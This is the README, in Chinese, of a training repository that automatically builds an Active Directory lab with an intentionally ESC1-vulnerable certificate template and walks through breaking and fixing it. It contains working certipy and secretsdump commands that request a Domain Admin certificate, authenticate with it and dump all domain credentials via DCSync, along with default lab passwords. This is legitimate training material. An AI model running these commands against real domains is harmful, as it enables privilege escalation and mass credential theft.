omar1111eamsa/ad-attack-scenario
GitHub: omar1111eamsa/ad-attack-scenario
一个完全自动化的 Active Directory 渗透测试实验室,通过 Vagrant + Ansible 一键搭建含 ESC1 漏洞的域环境,让使用者在「构建—攻破—修复」的闭环中学习真实渗透测试流程。
Stars: 0 | Forks: 0
# AD CS ESC1 — 一个先构建后攻破的 Active Directory 实验环境
本仓库是一个完全自动化的**基础设施即代码**实验室,它构建了一个小型的 Active Directory 林,其中包含一个企业证书颁发机构(AD CS),并被刻意配置了 **ESC1** 漏洞 —— 然后为你提供了一套工具,让你能够从一个低权限的域用户一路攻陷至**域管理员**(Domain Admin)并进行完整的目录复制(**DCSync**)。
只需一条 `vagrant up` 命令即可配置好一切:四台虚拟机(域控、证书颁发机构、Windows 10 客户端、Kali 攻击机)、AD 域、CA、易受攻击的证书模板、受害用户以及攻击者工具包 —— 无需任何手动操作步骤。
## 为什么要既*构建*又*攻破*这个实验环境?
阅读关于攻击的资料并不等于真正理解了它。这个项目建立在一个简单的理念之上:**你需要通过先构建目标环境然后再去攻破它,来真正了解渗透测试的实际运作方式。**
- 以代码形式**构建**环境会迫使你去了解底层地形 —— DNS、Kerberos、Active Directory 证书服务、证书模板、注册权限以及域信任。你能*确切地*看到真实世界中的错误配置(ESC1)是如何被引入的,而不是将其视为一个黑盒。
- 随后在如此熟悉的基础设施上**攻破**它,将带你走完完整的杀伤链:枚举域 → 发现薄弱模板 → 以 Administrator 身份请求证书 → 通过 Kerberos PKINIT 进行身份验证 → 提权至 Domain Admin → 对整个目录进行 DCSync → 实现隐蔽持久化。
- 因为该实验环境是**可重现且可销毁的**(`vagrant destroy` / `vagrant up`),你可以随心所欲地多次攻破它、修补它并重试 —— 这正是真正能提升技能的反馈循环。
这正映射了真实的实战任务:你绘制环境图谱、枚举服务和配置错误、建立据点、提权、建立持久化,最后探讨**检测与防御**。最终你将理解*攻防双方* —— 既知道漏洞是如何存在的,**也**知道它是如何被滥用的 —— 而不仅仅是复制粘贴一个漏洞利用脚本。
## 漏洞解析:AD CS ESC1
**ESC1** 是一项严重的 AD CS 错误配置。如果一个证书模板同时满足:(1) 允许**客户端身份验证**,(2) 允许**注册者提供主题**(`ENROLLEE_SUPPLIES_SUBJECT`),并且 (3) **能被低权限用户注册**,那么任何域用户都可以*以域管理员的身份*请求证书并以该身份进行验证 —— 在几分钟内实现从零权限到 Domain Admin 的提权。
## 学习路径
1. **构建** — 通过 `vagrant up` 配置整个实验环境(见本 README)。
2. **攻击** — 按照 [`scenario-1/docs/attack-guide.md`](scenario-1/docs/attack-guide.md) 一步步操作:枚举 → 请求 → 身份验证 → DCSync。
3. **理解** — 指南中的每一步都会解释*它的作用及其生效原因*,而不仅仅是给出命令。
4. **防御** — 指南最后会讲解检测(CA/DC 事件 ID)与修复方案。
5. **迭代** — 销毁它、重建它、尝试不同的变化、对其进行安全加固、再次攻击。
## 前置条件
在开始之前,请确保你的宿主机上已安装以下软件:
### 必需软件
1. **Libvirt/KVM**(原生 Linux 虚拟化)
# Ubuntu/Debian
sudo apt install qemu-kvm libvirt-daemon-system libvirt-clients bridge-utils virt-manager
sudo usermod -aG libvirt,kvm $USER
newgrp libvirt
2. **Vagrant** (2.3.0+) 及 Libvirt 插件
# 安装 Vagrant
sudo apt install vagrant
# 安装 vagrant-libvirt 依赖
sudo apt install libvirt-dev
# 安装 vagrant-libvirt 插件
vagrant plugin install vagrant-libvirt
3. **Ansible** (2.10+)
# Ubuntu/Debian
sudo apt install ansible
# 用于 Windows 管理的 Python WinRM
pip3 install pywinrm
### 系统要求
- **内存 (RAM)**: 至少 16 GB(推荐 20 GB)
- **磁盘空间**: 至少 80 GB 可用空间
- **CPU**: 最少 4 核(推荐 8 核)
## 快速开始
### 1. 克隆仓库
```
git clone https://github.com/omar1111eamsa/ad-attack-senario.git
cd ad-attack-senario
```
### 2. 提供 Ansible Vault 密码
域密码存放在 **Ansible Vault** (`group_vars/all/vault.yml`) 中。
Vault 密码**没有**被提交到代码库中 —— 请创建一次密码文件,以便在自动化配置时能够自动解密(实验环境的 vault 密码是 `vagrant`):
```
echo 'vagrant' > scenario-1/infra/ansible/.vault_pass
chmod 600 scenario-1/infra/ansible/.vault_pass
```
### 3. 进入 Vagrant 目录
```
cd scenario-1/infra/vagrant
```
### 4. 启动环境
```
vagrant up
```
**这条单条命令将:**
- 使用 Libvirt/KVM 创建 4 台虚拟机(DC、CA、Win10、Kali 攻击机)
- 自动配置网络 IP(无需手动设置!)
- 安装 Windows Server 和 Active Directory
- 配置证书颁发机构
- 创建 ESC1 易受攻击的模板
- 配置 LDAPS
- 设置测试用户账户
- 在 Kali 上安装攻击工具
**首次运行需要 30-60 分钟**,具体取决于你的网络速度和硬件配置。
### 5. 等待配置完成
设置过程是完全自动化的。Vagrant 将使用 Ansible 配置所有虚拟机。请等待直到你看到:
```
==> attacker: Running provisioner: ansible...
PLAY [Verify network configuration on Windows hosts] ****************************
...
PLAY RECAP *********************************************************************
dc : ok=XX changed=XX ...
ca : ok=XX changed=XX ...
win10 : ok=XX changed=XX ...
attacker : ok=XX changed=XX ...
```
## 攻破 ESC1
### SSH 登录到攻击机
```
vagrant ssh attacker
```
### 运行攻击命令
```
# Step 1: 以 Administrator 身份请求证书 (ESC1 Exploit)
certipy req -u jdoe@serini.lab -p 'Summer2024!' -ca SERINI-CA -target ca.serini.lab -template VulnUserAuth -upn administrator@serini.lab
# Step 2: 使用证书进行认证并获取 hash
certipy auth -pfx administrator.pfx -dc-ip 192.168.56.10
# Step 3: DCSync - 导出所有域凭证
secretsdump.py -hashes :HASH_FROM_STEP_2 administrator@192.168.56.10
```
将 `HASH_FROM_STEP_2` 替换为你在步骤 2 中获得的 NT hash。
## 实验环境架构
```
┌─────────────────────┐
│ Domain Controller │
│ (dc.serini.lab) │
│ 192.168.56.10 │
└──────────┬──────────┘
│
│
┌──────────┴──────────┐ ┌─────────────────────┐
│ CA │ │ Windows 10 Client │
│ (ca.serini.lab) │ │ (win10.serini.lab) │
│ 192.168.56.20 │ │ 192.168.56.40 │
└─────────────────────┘ └─────────────────────┘
│
│
┌──────────┴──────────┐
│ Kali Attacker │
│ (attacker) │
│ 192.168.56.50 │
└─────────────────────┘
```
## 项目结构
```
.
├── scenario.txt # The training brief (3 scenarios)
├── README.md
└── scenario-1/
├── docs/
│ └── attack-guide.md # Step-by-step exploitation walkthrough
├── infra/
│ ├── ansible/
│ │ ├── ansible.cfg
│ │ ├── inventory.yml # Hosts only (WinRM + SSH)
│ │ ├── group_vars/
│ │ │ ├── all/ # vars.yml (data) + vault.yml (secret)
│ │ │ ├── windows.yml # WinRM connection settings
│ │ │ └── linux.yml # SSH connection settings
│ │ └── playbooks/ # numbered in execution order
│ │ ├── site.yml # Ordered master pipeline
│ │ ├── 00-network.yml 01-enable-icmp.yml 02-domain.yml
│ │ ├── 03-adcs.yml 04-ldaps-config.yml 05-software-gpo.yml
│ │ ├── 06-kali-tools.yml 07-win10-software.yml 08-esc1-template.yml
│ │ ├── 09-test-user.yml 10-fix-enroll-permission.yml
│ │ └── optional/ # manual helpers (not in site.yml)
│ └── vagrant/
│ └── Vagrantfile # 4-VM libvirt definitions + provisioner
└── scripts/
├── 01-create-vulnerable-template.ps1 # ESC1 template injector
├── 02-create-test-user.ps1 # jdoe
└── 08-persistence-dcsync-account.ps1 # post-exploit persistence
```
## 实用命令
### 虚拟机管理
```
# 启动所有 VM
vagrant up
# 停止所有 VM
vagrant halt
# 销毁所有 VM (清空状态)
vagrant destroy -f
# 检查 VM 状态
vagrant status
# SSH 登录到特定 VM
vagrant ssh dc # Domain Controller
vagrant ssh ca # Certificate Authority
vagrant ssh win10 # Windows 10 client
vagrant ssh attacker # Kali attacker
```
**虚拟机访问:** 所有虚拟机都可以通过 `virt-manager` 或 `virt-viewer` 访问图形控制台。连接命令如下:
```
# 打开图形化管理器
virt-manager
# 或者连接到特定 VM
virt-viewer dc
```
### 重新运行配置
如果你需要重新运行 Ansible 设置:
```
cd scenario-1/infra/vagrant
vagrant provision
```
## 手动执行 Ansible
如果你想手动运行 Ansible playbook:
```
cd scenario-1/infra/ansible
# 运行所有 playbook
ansible-playbook -i inventory.yml playbooks/site.yml
# 运行特定 playbook
ansible-playbook -i inventory.yml playbooks/08-esc1-template.yml
```
## 默认凭据
### 域管理员
- **用户名**: `SERINI\Administrator`
- **密码**: `P@ssw0rd123!`
### 测试用户(用于漏洞利用)
- **用户名**: `jdoe`
- **密码**: `Summer2024!`
- **域**: `serini.lab`
### Kali 攻击机
- **用户名**: `vagrant`
- **密码**: `vagrant`
## 故障排除
### Docker 导致虚拟机网络中断(重要)
如果宿主机上安装了 **Docker**,它会将 iptables/nftables 的 `FORWARD` 策略设置为 `drop`,并启用 `bridge-nf-call-iptables`,这会静默阻断 libvirt 网桥上的**客户机到客户机流量**。症状:DC 构建成功,但成员加入失败,提示*"无法联系域"*或*"信任关系失败"*。在实验环境运行期间请停止 Docker:
```
sudo systemctl stop docker docker.socket containerd
sudo sysctl -w net.bridge.bridge-nf-call-iptables=0
sudo systemctl restart libvirtd # re-adds libvirt's NAT rules cleanly
```
之后可以使用 `sudo systemctl start docker` 重新启用 Docker(在 Docker 运行期间,实验环境网络会再次中断)。
### 虚拟机未启动
```
# 检查运行中的 libvirt domain
sudo virsh list --all
# 或者使用 Vagrant status
vagrant status
```
### Libvirt 网络问题
**虚拟机未获取 IP:**
```
# 检查 libvirt 默认网络
sudo virsh net-list
sudo virsh net-start vagrant-libvirt # if not running
# 检查 VM 网络接口
vagrant ssh dc -c "ipconfig"
```
**虚拟机之间无法 ping 通:**
```
# 从攻击者 VM
vagrant ssh attacker
ping 192.168.56.10 # Should reach DC
```
### Ansible 连接错误
```
# 测试 WinRM 连通性
ansible dc -i scenario-1/infra/ansible/inventory.yml -m win_ping
```
### GPO / “未与 Active Directory 域或林关联”
如果 `05-software-gpo` 因此错误失败,该 playbook 现在对 Get-GPO/New-GPO 使用了 `-Domain serini.lab`。请确保在运行 `05-software-gpo` 之前,`02-domain` 和 `03-adcs`(包括重启)已完成。
### ESC1 攻击失败
1. 确保已配置 LDAPS:
cd scenario-1/infra/ansible
ansible-playbook -i inventory.yml playbooks/04-ldaps-config.yml
2. 验证模板权限:
ansible-playbook -i inventory.yml playbooks/10-fix-enroll-permission.yml
3. 检查 Kali 上的 DNS:
vagrant ssh attacker -c "cat /etc/hosts | grep serini"
## 学习资源
- [AD CS ESC1 漏洞详情](https://posts.specterops.io/certified-pre-owned-d95910965cd2)
- [Certipy 文档](https://github.com/ly4k/Certipy)
- [Active Directory 安全](https://adsecurity.org/)
## 免责声明
本实验环境仅供**教育目的**使用。请仅在获得授权的环境中使用这些技术。未经授权访问计算机系统是违法行为。
## 许可证
MIT 许可证 - 详情请参阅 LICENSE 文件
## 贡献
欢迎提交 issue 或 pull request 来改进此实验环境!
## 作者
为 Active Directory 安全培训和 ESC1 漏洞演示而创建。
标签:Active Directory, AI合规, AWS 安全, Libemu, Plaso, Terraform 安全, Vagrant, 模拟器, 系统提示词, 足迹探测, 逆向工具, 配置修复, 靶场环境